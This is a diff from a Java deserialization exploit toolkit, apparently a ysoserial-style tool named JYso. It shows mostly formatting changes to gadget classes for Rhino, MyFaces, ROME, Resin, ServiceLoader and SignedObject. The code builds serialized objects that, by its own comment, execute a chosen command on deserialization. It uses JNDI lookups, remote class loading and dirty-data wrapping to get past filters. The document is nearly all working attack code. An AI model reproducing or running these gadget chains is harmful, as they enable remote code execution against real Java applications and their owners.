return uf.makeIteratorTrigger(JDKUtil.adaptEnumerationToIterator(JDKUtil.makeLazySearchEnumeration(args[ 0 ], args[ 1 ]))); return uf.makeIteratorTrigger(JDKUtil.adaptEnumerationToIterator(JDKUtil.makeLazySearchEnumeration(args[0], args[1])));
} }
} }
src/main/java/com/qi4l/JYso/gadgets/MozillaRhino1.java
+8 -8
View File
@@ -28,7 +28,7 @@ public class MozillaRhino1 implements ObjectPayload<Object> {
} }
public Object getObject(String command) throws Exception { public Object getObject(String command) throws Exception {
Class nativeErrorClass = Class.forName("org.mozilla.javascript.NativeError"); Class nativeErrorClass = Class.forName("org.mozilla.javascript.NativeError");
Constructor nativeErrorConstructor = nativeErrorClass.getDeclaredConstructor(); Constructor nativeErrorConstructor = nativeErrorClass.getDeclaredConstructor();
Reflections.setAccessible(nativeErrorConstructor); Reflections.setAccessible(nativeErrorConstructor);
IdScriptableObject idScriptableObject = (IdScriptableObject) nativeErrorConstructor.newInstance(); IdScriptableObject idScriptableObject = (IdScriptableObject) nativeErrorConstructor.newInstance();
@@ -37,21 +37,21 @@ public class MozillaRhino1 implements ObjectPayload<Object> {
NativeObject scriptableObject = (NativeObject) context.initStandardObjects(); NativeObject scriptableObject = (NativeObject) context.initStandardObjects();
Method enterMethod = Context.class.getDeclaredMethod("enter"); Method enterMethod = Context.class.getDeclaredMethod("enter");
NativeJavaMethod method = new NativeJavaMethod(enterMethod, "name"); NativeJavaMethod method = new NativeJavaMethod(enterMethod, "name");
idScriptableObject.setGetterOrSetter("name", 0, method, false); idScriptableObject.setGetterOrSetter("name", 0, method, false);
Method newTransformer = TemplatesImpl.class.getDeclaredMethod("newTransformer"); Method newTransformer = TemplatesImpl.class.getDeclaredMethod("newTransformer");
NativeJavaMethod nativeJavaMethod = new NativeJavaMethod(newTransformer, "message"); NativeJavaMethod nativeJavaMethod = new NativeJavaMethod(newTransformer, "message");
idScriptableObject.setGetterOrSetter("message", 0, nativeJavaMethod, false); idScriptableObject.setGetterOrSetter("message", 0, nativeJavaMethod, false);
Method getSlot = ScriptableObject.class.getDeclaredMethod("getSlot", String.class, int.class, int.class); Method getSlot = ScriptableObject.class.getDeclaredMethod("getSlot", String.class, int.class, int.class);
Reflections.setAccessible(getSlot); Reflections.setAccessible(getSlot);
Object slot = getSlot.invoke(idScriptableObject, "name", 0, 1); Object slot = getSlot.invoke(idScriptableObject, "name", 0, 1);
Field getter = slot.getClass().getDeclaredField("getter"); Field getter = slot.getClass().getDeclaredField("getter");
Reflections.setAccessible(getter); Reflections.setAccessible(getter);
Class memberboxClass = Class.forName("org.mozilla.javascript.MemberBox"); Class memberboxClass = Class.forName("org.mozilla.javascript.MemberBox");
Constructor memberboxClassConstructor = memberboxClass.getDeclaredConstructor(Method.class); Constructor memberboxClassConstructor = memberboxClass.getDeclaredConstructor(Method.class);
Reflections.setAccessible(memberboxClassConstructor); Reflections.setAccessible(memberboxClassConstructor);
Object memberboxes = memberboxClassConstructor.newInstance(enterMethod); Object memberboxes = memberboxClassConstructor.newInstance(enterMethod);
@@ -64,7 +64,7 @@ public class MozillaRhino1 implements ObjectPayload<Object> {
idScriptableObject.setPrototype(nativeObject); idScriptableObject.setPrototype(nativeObject);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null); BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Field valField = badAttributeValueExpException.getClass().getDeclaredField("val"); Field valField = badAttributeValueExpException.getClass().getDeclaredField("val");
Reflections.setAccessible(valField); Reflections.setAccessible(valField);
valField.set(badAttributeValueExpException, idScriptableObject); valField.set(badAttributeValueExpException, idScriptableObject);
return badAttributeValueExpException; return badAttributeValueExpException;
src/main/java/com/qi4l/JYso/gadgets/MozillaRhino2.java
+2 -2
View File
@@ -55,7 +55,7 @@ public class MozillaRhino2 implements ObjectPayload<Object> {
@Override @Override
public Object getObject(String command) throws Exception { public Object getObject(String command) throws Exception {
ScriptableObject dummyScope = new Environment(); ScriptableObject dummyScope = new Environment();
Map<Object, Object> associatedValues = new Hashtable<Object, Object>(); Map<Object, Object> associatedValues = new Hashtable<Object, Object>();
associatedValues.put("ClassCache", Reflections.createWithoutConstructor(ClassCache.class)); associatedValues.put("ClassCache", Reflections.createWithoutConstructor(ClassCache.class));
Reflections.setFieldValue(dummyScope, "associatedValues", associatedValues); Reflections.setFieldValue(dummyScope, "associatedValues", associatedValues);
@@ -67,7 +67,7 @@ public class MozillaRhino2 implements ObjectPayload<Object> {
new Object[]{Context.class.getMethod("enter")}); new Object[]{Context.class.getMethod("enter")});
ScriptableObject initContextScriptableObject = new Environment(); ScriptableObject initContextScriptableObject = new Environment();
Method makeSlot = ScriptableObject.class.getDeclaredMethod("accessSlot", String.class, int.class, int.class); Method makeSlot = ScriptableObject.class.getDeclaredMethod("accessSlot", String.class, int.class, int.class);
Reflections.setAccessible(makeSlot); Reflections.setAccessible(makeSlot);
Object slot = makeSlot.invoke(initContextScriptableObject, "QI4L", 0, 4); Object slot = makeSlot.invoke(initContextScriptableObject, "QI4L", 0, 4);
Reflections.setFieldValue(slot, "getter", initContextMemberBox); Reflections.setFieldValue(slot, "getter", initContextMemberBox);
src/main/java/com/qi4l/JYso/gadgets/Myfaces1.java
+6 -6
View File
@@ -62,15 +62,15 @@ public class Myfaces1 implements ObjectPayload<Object>, DynamicDependencies {
} }
public static Object makeExpressionPayload(String expr) throws Exception { public static Object makeExpressionPayload(String expr) throws Exception {
FacesContextImpl fc = new FacesContextImpl((ServletContext) null, (ServletRequest) null, (ServletResponse) null); FacesContextImpl fc = new FacesContextImpl((ServletContext) null, (ServletRequest) null, (ServletResponse) null);
ELContext elContext = new FacesELContext(new CompositeELResolver(), fc); ELContext elContext = new FacesELContext(new CompositeELResolver(), fc);
Reflections.getField(FacesContextImplBase.class, "_elContext").set(fc, elContext); Reflections.getField(FacesContextImplBase.class, "_elContext").set(fc, elContext);
ExpressionFactory expressionFactory = ExpressionFactory.newInstance(); ExpressionFactory expressionFactory = ExpressionFactory.newInstance();
ValueExpression ve1 = expressionFactory.createValueExpression(elContext, expr, Object.class); ValueExpression ve1 = expressionFactory.createValueExpression(elContext, expr, Object.class);
ValueExpressionMethodExpression e = new ValueExpressionMethodExpression(ve1); ValueExpressionMethodExpression e = new ValueExpressionMethodExpression(ve1);
ValueExpression ve2 = expressionFactory.createValueExpression(elContext, "${true}", Object.class); ValueExpression ve2 = expressionFactory.createValueExpression(elContext, "${true}", Object.class);
ValueExpressionMethodExpression e2 = new ValueExpressionMethodExpression(ve2); ValueExpressionMethodExpression e2 = new ValueExpressionMethodExpression(ve2);
return Gadgets.makeMap(e2, e); return Gadgets.makeMap(e2, e);
} }
src/main/java/com/qi4l/JYso/gadgets/Myfaces2.java
+1 -1
View File
@@ -9,7 +9,7 @@ public class Myfaces2 implements ObjectPayload<Object>, DynamicDependencies {
throw new IllegalArgumentException("Command format is: <base_url>:<classname>"); throw new IllegalArgumentException("Command format is: <base_url>:<classname>");
} }
String url = command.substring(0, sep); String url = command.substring(0, sep);
String className = command.substring(sep + 1); String className = command.substring(sep + 1);
// based on http://danamodio.com/appsec/research/spring-remote-code-with-expression-language-injection/ // based on http://danamodio.com/appsec/research/spring-remote-code-with-expression-language-injection/
src/main/java/com/qi4l/JYso/gadgets/ObjectPayload.java
+20 -47
View File
@@ -1,57 +1,47 @@
package com.qi4l.JYso.gadgets; package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.LdapServer; import com.qi4l.JYso.LdapServer;
import com.qi4l.JYso.gadgets.utils.JavaVersion;
import org.reflections.Reflections; import org.reflections.Reflections;
import java.lang.reflect.Modifier; import java.lang.reflect.Modifier;
import java.util.Iterator;
import java.util.Random; import java.util.Random;
import java.util.Set; import java.util.Set;
import static com.qi4l.JYso.Starter.caseInsensitiveObjectPayloadMap; import static com.qi4l.JYso.Starter.caseInsensitiveObjectPayloadMap;
public interface ObjectPayload<T> { public interface ObjectPayload<T> {
public static boolean isApplicableJavaVersion() {
return JavaVersion.isAnnInvHUniversalMethodImpl();
}
/* /*
* return armed payload object to be serialized that will execute specified * return armed payload object to be serialized that will execute specified
* command on deserialization * command on deserialization
*/ */
public T getObject(String command) throws Exception; T getObject(String command) throws Exception;
public static class Utils { class Utils {
// get payload classes by classpath scanning // get payload classes by classpath scanning
public static Set<Class<? extends ObjectPayload>> getPayloadClasses() { public static Set<Class<? extends ObjectPayload<?>>> getPayloadClasses() {
final Reflections reflections = new Reflections(ObjectPayload.class.getPackage().getName()); final Reflections reflections = new Reflections(ObjectPayload.class.getPackage().getName());
final Set<Class<? extends ObjectPayload>> payloadTypes = reflections.getSubTypesOf(ObjectPayload.class); @SuppressWarnings("unchecked")
for (Iterator<Class<? extends ObjectPayload>> iterator = payloadTypes.iterator(); iterator.hasNext(); ) { final Set<Class<? extends ObjectPayload<?>>> payloadTypes =
Class<? extends ObjectPayload> pc = iterator.next(); (Set<Class<? extends ObjectPayload<?>>>) (Set<?>)
if (pc.isInterface() || Modifier.isAbstract(pc.getModifiers())) { reflections.getSubTypesOf(ObjectPayload.class);
iterator.remove(); payloadTypes.removeIf(pc -> pc.isInterface() || Modifier.isAbstract(pc.getModifiers()));
}
}
return payloadTypes; return payloadTypes;
} }
@SuppressWarnings("unchecked") @SuppressWarnings("unchecked")
public static Class<? extends ObjectPayload> getPayloadClass(final String className) { public static Class<? extends ObjectPayload<?>> getPayloadClass(final String className) {
Class<? extends ObjectPayload> clazz = null; Class<? extends ObjectPayload<?>> clazz = null;
try { try {
clazz = (Class<? extends ObjectPayload>) Class.forName(className); clazz = (Class<? extends ObjectPayload<?>>) Class.forName(className);
} catch (Exception ignored) { } catch (Exception ignored) {
} }
if (clazz == null) { if (clazz == null) {
try { try {
return clazz = (Class<? extends ObjectPayload>) Class.forName(LdapServer.class.getPackage().getName() + ".gadgets." + className); return (Class<? extends ObjectPayload<Object>>) Class.forName(LdapServer.class.getPackage().getName() + ".gadgets." + className);
}catch (NoClassDefFoundError e) { } catch (NoClassDefFoundError | Exception e) {
clazz = caseInsensitiveObjectPayloadMap.get(LdapServer.class.getPackage().getName() + ".gadgets." + className);
}
catch (Exception ignored) {
clazz = caseInsensitiveObjectPayloadMap.get(LdapServer.class.getPackage().getName() + ".gadgets." + className); clazz = caseInsensitiveObjectPayloadMap.get(LdapServer.class.getPackage().getName() + ".gadgets." + className);
} }
} }
@@ -62,38 +52,21 @@ public interface ObjectPayload<T> {
} }
@SuppressWarnings("unchecked") public static void releasePayload(ObjectPayload<?> payload, Object object) throws Exception {
public static void releasePayload(ObjectPayload payload, Object object) throws Exception {
if (payload instanceof ReleaseableObjectPayload) { if (payload instanceof ReleaseableObjectPayload) {
((ReleaseableObjectPayload) payload).release(object); ((ReleaseableObjectPayload<?>) payload).release(object);
} }
} }
public static void releasePayload(String payloadType, Object payloadObject) {
final Class<? extends ObjectPayload> payloadClass = getPayloadClass(payloadType);
if (payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass)) {
throw new IllegalArgumentException("Invalid payload type '" + payloadType + "'");
}
try {
final ObjectPayload payload = payloadClass.newInstance();
releasePayload(payload, payloadObject);
} catch (Exception e) {
e.printStackTrace();
}
}
//生成随机字符 //生成随机字符
public static String generateRandomString(int length) { public static String generateRandomString(int length) {
String characters = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"; String characters = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
StringBuilder sb = new StringBuilder(); StringBuilder sb = new StringBuilder();
Random random = new Random(); Random random = new Random();
for (int i = 0; i < length; i++) { for (int i = 0; i < length; i++) {
int index = random.nextInt(characters.length()); int index = random.nextInt(characters.length());
char randomChar = characters.charAt(index); char randomChar = characters.charAt(index);
sb.append(randomChar); sb.append(randomChar);
} }
@@ -101,4 +74,4 @@ public interface ObjectPayload<T> {
return sb.toString(); return sb.toString();
} }
} }
} }
src/main/java/com/qi4l/JYso/gadgets/ROME.java
+1 -1
View File
@@ -33,7 +33,7 @@ public class ROME implements ObjectPayload<Object> {
final Object templates; final Object templates;
templates = Gadgets.createTemplatesImpl(command); templates = Gadgets.createTemplatesImpl(command);
ObjectBean delegate = new ObjectBean(Templates.class, templates); ObjectBean delegate = new ObjectBean(Templates.class, templates);
ObjectBean root = new ObjectBean(ObjectBean.class, delegate); ObjectBean root = new ObjectBean(ObjectBean.class, delegate);
return Gadgets.makeMap(root, root); return Gadgets.makeMap(root, root);
} }
} }
src/main/java/com/qi4l/JYso/gadgets/ROME3.java
+3 -3
View File
@@ -11,12 +11,12 @@ import javax.xml.transform.Templates;
@Authors({"Firebasky"}) @Authors({"Firebasky"})
@Dependencies("rome:rome:1.0") @Dependencies("rome:rome:1.0")
public class ROME3 implements ObjectPayload<Object>{ public class ROME3 implements ObjectPayload<Object> {
@Override @Override
public Object getObject(String command) throws Exception { public Object getObject(String command) throws Exception {
Object o = Gadgets.createTemplatesImpl(command); Object o = Gadgets.createTemplatesImpl(command);
ObjectBean delegate = new ObjectBean(Templates.class, o); ObjectBean delegate = new ObjectBean(Templates.class, o);
BadAttributeValueExpException b = new BadAttributeValueExpException(""); BadAttributeValueExpException b = new BadAttributeValueExpException("");
Reflections.setFieldValue(b, "val", delegate); Reflections.setFieldValue(b, "val", delegate);
return b; return b;
} }
src/main/java/com/qi4l/JYso/gadgets/ROMEJDBC.java
+9 -9
View File
@@ -7,6 +7,15 @@ import com.sun.rowset.JdbcRowSetImpl;
public class ROMEJDBC implements ObjectPayload<Object> { public class ROMEJDBC implements ObjectPayload<Object> {
// Assuming JDKUtil class with makeJNDIRowSet method
public static JdbcRowSetImpl makeJNDIRowSet(String jndiUrl) throws Exception {
JdbcRowSetImpl rs = new JdbcRowSetImpl();
rs.setDataSourceName(jndiUrl);
rs.setMatchColumn("foo");
Reflections.getField(javax.sql.rowset.BaseRowSet.class, "listeners").set(rs, null);
return rs;
}
@Override @Override
public Object getObject(String command) throws Exception { public Object getObject(String command) throws Exception {
// Assuming makeJNDIRowSet is a static method in JDKUtil // Assuming makeJNDIRowSet is a static method in JDKUtil
@@ -23,13 +32,4 @@ public class ROMEJDBC implements ObjectPayload<Object> {
return JDKUtil.makeMap(o1, o1); // Assuming JDKUtil.makeMap returns a Map or similar object return JDKUtil.makeMap(o1, o1); // Assuming JDKUtil.makeMap returns a Map or similar object
} }
// Assuming JDKUtil class with makeJNDIRowSet method
public static JdbcRowSetImpl makeJNDIRowSet(String jndiUrl) throws Exception {
JdbcRowSetImpl rs = new JdbcRowSetImpl();
rs.setDataSourceName(jndiUrl);
rs.setMatchColumn("foo");
Reflections.getField(javax.sql.rowset.BaseRowSet.class, "listeners").set(rs, null);
return rs;
}
} }
src/main/java/com/qi4l/JYso/gadgets/ReleaseableObjectPayload.java
+1 -1
View File
@@ -2,5 +2,5 @@ package com.qi4l.JYso.gadgets;
public interface ReleaseableObjectPayload<T> extends ObjectPayload<T> { public interface ReleaseableObjectPayload<T> extends ObjectPayload<T> {
void release(T obj) throws Exception; void release(Object obj) throws Exception;
} }
src/main/java/com/qi4l/JYso/gadgets/RenderedImage.java
+2 -2
View File
@@ -16,7 +16,7 @@ public class RenderedImage implements ObjectPayload<Object> {
} }
public static byte[] hexToByteArray(String inHex) { public static byte[] hexToByteArray(String inHex) {
int hexlen = inHex.length(); int hexlen = inHex.length();
byte[] result; byte[] result;
if (hexlen % 2 == 1) { if (hexlen % 2 == 1) {
hexlen++; hexlen++;
@@ -44,7 +44,7 @@ public class RenderedImage implements ObjectPayload<Object> {
String host = command.substring(0, sep); String host = command.substring(0, sep);
String port = command.substring(sep + 1); String port = command.substring(sep + 1);
String imageHex = "FFD8FFE000104A46494600010100000100010000FFDB0043000503040404030504040405050506070C08070707070F0B0B090C110F1212110F111113161C1713141A1511111821181A1D1D1F1F1F13172224221E241C1E1F1EFFDB0043010505050706070E08080E1E1411141E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1EFFC00011080009000803012200021101031101FFC400160001010100000000000000000000000000000308FFC40021100001030401050000000000000000000003000204010511130712143774B4FFC40014010100000000000000000000000000000001FFC40014110100000000000000000000000000000000FFDA000C03010002110311003F00D0967E448E6E43976297246D894310229231BDD1B6606E18FB8C6BD95675BAA3CE688A772F0E1FD90FD234497FFFD9"; String imageHex = "FFD8FFE000104A46494600010100000100010000FFDB0043000503040404030504040405050506070C08070707070F0B0B090C110F1212110F111113161C1713141A1511111821181A1D1D1F1F1F13172224221E241C1E1F1EFFDB0043010505050706070E08080E1E1411141E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1EFFC00011080009000803012200021101031101FFC400160001010100000000000000000000000000000308FFC40021100001030401050000000000000000000003000204010511130712143774B4FFC40014010100000000000000000000000000000001FFC40014110100000000000000000000000000000000FFDA000C03010002110311003F00D0967E448E6E43976297246D894310229231BDD1B6606E18FB8C6BD95675BAA3CE688A772F0E1FD90FD234497FFFD9";
BufferedImage picImage = ImageIO.read(new ByteArrayInputStream(hexToByteArray(imageHex))); BufferedImage picImage = ImageIO.read(new ByteArrayInputStream(hexToByteArray(imageHex)));
SerializableRenderedImage serializableRenderedImage = new SerializableRenderedImage(picImage, true); SerializableRenderedImage serializableRenderedImage = new SerializableRenderedImage(picImage, true);
src/main/java/com/qi4l/JYso/gadgets/Resin.java
+40 -40
View File
@@ -11,12 +11,50 @@ import java.lang.reflect.Constructor;
import java.net.URI; import java.net.URI;
import java.util.Hashtable; import java.util.Hashtable;
public class Resin implements ObjectPayload<Object>{ public class Resin implements ObjectPayload<Object> {
public static Object makeToStringTrigger(Object o) throws Exception {
String unhash = unhash(o.hashCode());
XString xString = new XString(unhash);
return JDKUtil.makeMap(o, xString);
}
public static String unhash(int hash) {
int target = hash;
StringBuilder answer = new StringBuilder();
if (target < 0) {
// String with hash of Integer.MIN_VALUE, 0x80000000
answer.append("\\u0915\\u0009\\u001e\\u000c\\u0002");
if (target == Integer.MIN_VALUE)
return answer.toString();
// Find target without sign bit set
target = target & Integer.MAX_VALUE;
}
unhash0(answer, target);
return answer.toString();
}
private static void unhash0(StringBuilder partial, int target) {
int div = target / 31;
int rem = target % 31;
if (div <= Character.MAX_VALUE) {
if (div != 0)
partial.append((char) div);
partial.append((char) rem);
} else {
unhash0(partial, div);
partial.append((char) rem);
}
}
@Override @Override
public Object getObject(String command) throws Exception { public Object getObject(String command) throws Exception {
//需要处理command //需要处理command
return makeResinQName(command); return makeResinQName(command);
} }
public Object makeResinQName(String command) throws Exception { public Object makeResinQName(String command) throws Exception {
Class<?> ccCl = Class.forName("javax.naming.spi.ContinuationDirContext"); //$NON-NLS-1$ Class<?> ccCl = Class.forName("javax.naming.spi.ContinuationDirContext"); //$NON-NLS-1$
Constructor<?> ccCons = ccCl.getDeclaredConstructor(CannotProceedException.class, Hashtable.class); Constructor<?> ccCons = ccCl.getDeclaredConstructor(CannotProceedException.class, Hashtable.class);
@@ -27,7 +65,7 @@ public class Resin implements ObjectPayload<Object>{
//考虑换成其他的 //考虑换成其他的
URI uri = new URI(command); URI uri = new URI(command);
String args[] = {uri.getScheme() + "://" + uri.getAuthority(), uri.getPath().substring(1)}; String args[] = {uri.getScheme() + "://" + uri.getAuthority(), uri.getPath().substring(1)};
cpe.setResolvedObj(new Reference("Foo", args[ 1 ], args[ 0 ])); cpe.setResolvedObj(new Reference("Foo", args[1], args[0]));
Reflections.setFieldValue(cpe, "suppressedExceptions", null); Reflections.setFieldValue(cpe, "suppressedExceptions", null);
DirContext ctx = (DirContext) ccCons.newInstance(cpe, new Hashtable<>()); DirContext ctx = (DirContext) ccCons.newInstance(cpe, new Hashtable<>());
@@ -35,42 +73,4 @@ public class Resin implements ObjectPayload<Object>{
return makeToStringTrigger(qName); return makeToStringTrigger(qName);
} }
public static Object makeToStringTrigger ( Object o ) throws Exception {
String unhash = unhash(o.hashCode());
XString xString = new XString(unhash);
return JDKUtil.makeMap(o, xString);
}
public static String unhash ( int hash ) {
int target = hash;
StringBuilder answer = new StringBuilder();
if ( target < 0 ) {
// String with hash of Integer.MIN_VALUE, 0x80000000
answer.append("\\u0915\\u0009\\u001e\\u000c\\u0002");
if ( target == Integer.MIN_VALUE )
return answer.toString();
// Find target without sign bit set
target = target & Integer.MAX_VALUE;
}
unhash0(answer, target);
return answer.toString();
}
private static void unhash0 ( StringBuilder partial, int target ) {
int div = target / 31;
int rem = target % 31;
if ( div <= Character.MAX_VALUE ) {
if ( div != 0 )
partial.append((char) div);
partial.append((char) rem);
}
else {
unhash0(partial, div);
partial.append((char) rem);
}
}
} }
src/main/java/com/qi4l/JYso/gadgets/ServiceLoader.java
+5 -4
View File
@@ -2,7 +2,11 @@ package com.qi4l.JYso.gadgets;
import javax.script.ScriptEngineFactory; import javax.script.ScriptEngineFactory;
public class ServiceLoader implements ObjectPayload<Object>{ public class ServiceLoader implements ObjectPayload<Object> {
public static Object makeServiceLoader(UtilFactory uf, String[] args) throws Exception {
return uf.makeIteratorTrigger(JDKUtil.makeServiceIterator(JDKUtil.makeURLClassLoader(args[0]), ScriptEngineFactory.class));
}
@Override @Override
public Object getObject(String command) throws Exception { public Object getObject(String command) throws Exception {
UtilFactory uf = new UtilFactory(); UtilFactory uf = new UtilFactory();
@@ -10,7 +14,4 @@ public class ServiceLoader implements ObjectPayload<Object>{
return makeServiceLoader(uf, args); return makeServiceLoader(uf, args);
} }
public static Object makeServiceLoader ( UtilFactory uf, String[] args ) throws Exception {
return uf.makeIteratorTrigger(JDKUtil.makeServiceIterator(JDKUtil.makeURLClassLoader(args[0]), ScriptEngineFactory.class));
}
} }
src/main/java/com/qi4l/JYso/gadgets/SignedObject.java
+25 -25
View File
@@ -52,7 +52,7 @@ public class SignedObject implements ObjectPayload<Object> {
throw new IllegalArgumentException("Command format is: <Type>:<Original_Type>:<Command_Base64>:<Dirty_Type>:<Dirty_Length>"); throw new IllegalArgumentException("Command format is: <Type>:<Original_Type>:<Command_Base64>:<Dirty_Type>:<Dirty_Length>");
} }
String type1 = commands[0]; String type1 = commands[0];
Object object = getOriginal(Arrays.copyOfRange(commands, 1, commands.length)); Object object = getOriginal(Arrays.copyOfRange(commands, 1, commands.length));
switch (type1.toLowerCase()) { switch (type1.toLowerCase()) {
@@ -77,7 +77,7 @@ public class SignedObject implements ObjectPayload<Object> {
public Object getOriginal(String[] args) throws Exception { public Object getOriginal(String[] args) throws Exception {
final String payloadType = args[0]; final String payloadType = args[0];
String command = args[1]; String command = args[1];
// 支持单双引号 // 支持单双引号
if (command.startsWith("'") || command.startsWith("\"")) { if (command.startsWith("'") || command.startsWith("\"")) {
@@ -87,11 +87,11 @@ public class SignedObject implements ObjectPayload<Object> {
String realCmd = com.qi4l.JYso.gadgets.utils.Utils.base64Decode(command); String realCmd = com.qi4l.JYso.gadgets.utils.Utils.base64Decode(command);
final Class<? extends ObjectPayload> payloadClass = ObjectPayload.Utils.getPayloadClass(payloadType); final Class<? extends ObjectPayload> payloadClass = ObjectPayload.Utils.getPayloadClass(payloadType);
ObjectPayload payload = payloadClass.newInstance(); ObjectPayload payload = payloadClass.newInstance();
Object object = payload.getObject(realCmd); Object object = payload.getObject(realCmd);
if (args.length >= 3) { if (args.length >= 3) {
final String type = args[2]; final String type = args[2];
final String length = args[3]; final String length = args[3];
object = (new DirtyDataWrapper(object, Integer.parseInt(type), Integer.parseInt(length))).doWrap(); object = (new DirtyDataWrapper(object, Integer.parseInt(type), Integer.parseInt(length))).doWrap();
} }
@@ -104,11 +104,11 @@ public class SignedObject implements ObjectPayload<Object> {
public Object getSignedObjectWithCCNoArray(Object serObj) throws Exception { public Object getSignedObjectWithCCNoArray(Object serObj) throws Exception {
Object obj = SignedObjectUtils.warpWithSignedObject((Serializable) serObj); Object obj = SignedObjectUtils.warpWithSignedObject((Serializable) serObj);
Map old = new HashMap(); Map old = new HashMap();
Transformer invoke = new InvokerTransformer("toString", null, null); Transformer invoke = new InvokerTransformer("toString", null, null);
Map newMap = LazyMap.decorate(old, invoke); Map newMap = LazyMap.decorate(old, invoke);
TiedMapEntry entry = new TiedMapEntry(newMap, obj); TiedMapEntry entry = new TiedMapEntry(newMap, obj);
Map ht = new HashMap(); Map ht = new HashMap();
ht.put(entry, obj); ht.put(entry, obj);
newMap.remove(obj); newMap.remove(obj);
@@ -121,8 +121,8 @@ public class SignedObject implements ObjectPayload<Object> {
Object obj = SignedObjectUtils.warpWithSignedObject((Serializable) serObj); Object obj = SignedObjectUtils.warpWithSignedObject((Serializable) serObj);
org.apache.commons.collections4.functors.InvokerTransformer transformer = new org.apache.commons.collections4.functors.InvokerTransformer("toString", new Class[0], new Object[0]); org.apache.commons.collections4.functors.InvokerTransformer transformer = new org.apache.commons.collections4.functors.InvokerTransformer("toString", new Class[0], new Object[0]);
TransformingComparator comp = new TransformingComparator((org.apache.commons.collections4.Transformer) transformer); TransformingComparator comp = new TransformingComparator((org.apache.commons.collections4.Transformer) transformer);
TreeBag tree = new TreeBag((Comparator) comp); TreeBag tree = new TreeBag((Comparator) comp);
tree.add(obj); tree.add(obj);
Reflections.setFieldValue(transformer, "iMethodName", "getObject"); Reflections.setFieldValue(transformer, "iMethodName", "getObject");
return tree; return tree;
@@ -133,8 +133,8 @@ public class SignedObject implements ObjectPayload<Object> {
public Object getSignedObjectWithCB(Object serObj) throws Exception { public Object getSignedObjectWithCB(Object serObj) throws Exception {
Object obj = SignedObjectUtils.warpWithSignedObject((Serializable) serObj); Object obj = SignedObjectUtils.warpWithSignedObject((Serializable) serObj);
final BeanComparator comparator = new BeanComparator("lowestSetBit"); final BeanComparator comparator = new BeanComparator("lowestSetBit");
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator); final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
queue.add(new BigInteger("1")); queue.add(new BigInteger("1"));
queue.add(new BigInteger("1")); queue.add(new BigInteger("1"));
@@ -145,7 +145,7 @@ public class SignedObject implements ObjectPayload<Object> {
// Hibernate 二次反序列化 // Hibernate 二次反序列化
public Object getSignedObjectWithHibernate(Object serObj) throws Exception { public Object getSignedObjectWithHibernate(Object serObj) throws Exception {
Object obj = SignedObjectUtils.warpWithSignedObject((Serializable) serObj); Object obj = SignedObjectUtils.warpWithSignedObject((Serializable) serObj);
Object getters = Hibernate1.makeGetter(obj.getClass(), "getObject"); Object getters = Hibernate1.makeGetter(obj.getClass(), "getObject");
return Hibernate1.makeCaller(obj, getters); return Hibernate1.makeCaller(obj, getters);
} }
@@ -153,36 +153,36 @@ public class SignedObject implements ObjectPayload<Object> {
// Rome 二次反序列化 // Rome 二次反序列化
public Object getSignedObjectWithRome(Object serObj) throws Exception { public Object getSignedObjectWithRome(Object serObj) throws Exception {
Object obj = SignedObjectUtils.warpWithSignedObject((Serializable) serObj); Object obj = SignedObjectUtils.warpWithSignedObject((Serializable) serObj);
ObjectBean delegate = new ObjectBean(java.security.SignedObject.class, obj); ObjectBean delegate = new ObjectBean(java.security.SignedObject.class, obj);
ObjectBean root = new ObjectBean(ObjectBean.class, delegate); ObjectBean root = new ObjectBean(ObjectBean.class, delegate);
return Gadgets.makeMap(root, root); return Gadgets.makeMap(root, root);
} }
// Spring-Core 二次反序列化 // Spring-Core 二次反序列化
public Object getSignedObjectWithSpring(Object serObj) throws Exception { public Object getSignedObjectWithSpring(Object serObj) throws Exception {
Object obj = SignedObjectUtils.warpWithSignedObject((Serializable) serObj); Object obj = SignedObjectUtils.warpWithSignedObject((Serializable) serObj);
ObjectFactory objectFactoryProxy = Gadgets.createMemoitizedProxy(Gadgets.createMap("getObject", obj), ObjectFactory.class); ObjectFactory objectFactoryProxy = Gadgets.createMemoitizedProxy(Gadgets.createMap("getObject", obj), ObjectFactory.class);
Type typeTemplatesProxy = Gadgets.createProxy((InvocationHandler) Reflections.getFirstCtor("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler").newInstance(objectFactoryProxy), Type.class, java.security.SignedObject.class); Type typeTemplatesProxy = Gadgets.createProxy((InvocationHandler) Reflections.getFirstCtor("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler").newInstance(objectFactoryProxy), Type.class, java.security.SignedObject.class);
Object typeProviderProxy = Gadgets.createMemoitizedProxy(Gadgets.createMap("getType", typeTemplatesProxy), forName("org.springframework.core.SerializableTypeWrapper$TypeProvider")); Object typeProviderProxy = Gadgets.createMemoitizedProxy(Gadgets.createMap("getType", typeTemplatesProxy), forName("org.springframework.core.SerializableTypeWrapper$TypeProvider"));
final Constructor mitpCtor = Reflections.getFirstCtor("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider"); final Constructor mitpCtor = Reflections.getFirstCtor("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider");
final Object mitp = mitpCtor.newInstance(typeProviderProxy, Object.class.getMethod("getClass", new Class[]{}), 0); final Object mitp = mitpCtor.newInstance(typeProviderProxy, Object.class.getMethod("getClass", new Class[]{}), 0);
Reflections.setFieldValue(mitp, "methodName", "getObject"); Reflections.setFieldValue(mitp, "methodName", "getObject");
return mitp; return mitp;
} }
// Rhino 二次反序列化 // Rhino 二次反序列化
public Object getSignedObjectWithRhino(Object serObj) throws Exception { public Object getSignedObjectWithRhino(Object serObj) throws Exception {
